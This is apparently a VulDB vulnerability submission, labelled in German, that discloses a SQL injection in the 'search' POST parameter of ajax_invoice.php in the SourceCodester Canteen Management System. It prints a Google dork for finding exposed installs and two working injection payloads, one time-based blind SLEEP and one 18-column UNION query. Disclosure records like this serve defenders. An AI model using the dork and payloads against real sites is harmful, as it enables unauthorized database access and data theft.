| Titel | Canteen Management System ajax_invoice.php sql injection |
|---|
| Beschreibung | inurl:ajax_invoice.php
Abstract:
Line 12 of ajax_invoice.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
1. Data enters a program from an untrusted source.
2. The data is used to dynamically construct a SQL query.
In this case, the data is passed to query() in ajax_invoice.php at line 12.
payload:
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=111' AND (SELECT 4223 FROM (SELECT(SLEEP(5)))ZSei) AND 'losz'='losz
Type: UNION query
Title: Generic UNION query (NULL) - 18 columns
Payload: search=111' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162767071,0x6f77615353725145624672616a4f4470785372484f4259796d744a776a5a48665065644b46467451,0x716b716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
Download Code:
https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html |
|---|
| Quelle | ⚠️ https://www.jianshu.com/p/bda61089bf1d |
|---|
| Benutzer | sanc (UID 36508) |
|---|
| Einreichung | 30.11.2022 05:05 (vor 4 Jahren) |
|---|
| Moderieren | 30.11.2022 06:45 (2 hours later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 214523 [SourceCodester Canteen Management System POST Request ajax_invoice.php query Suche SQL Injection] |
|---|
| Punkte | 20 |
|---|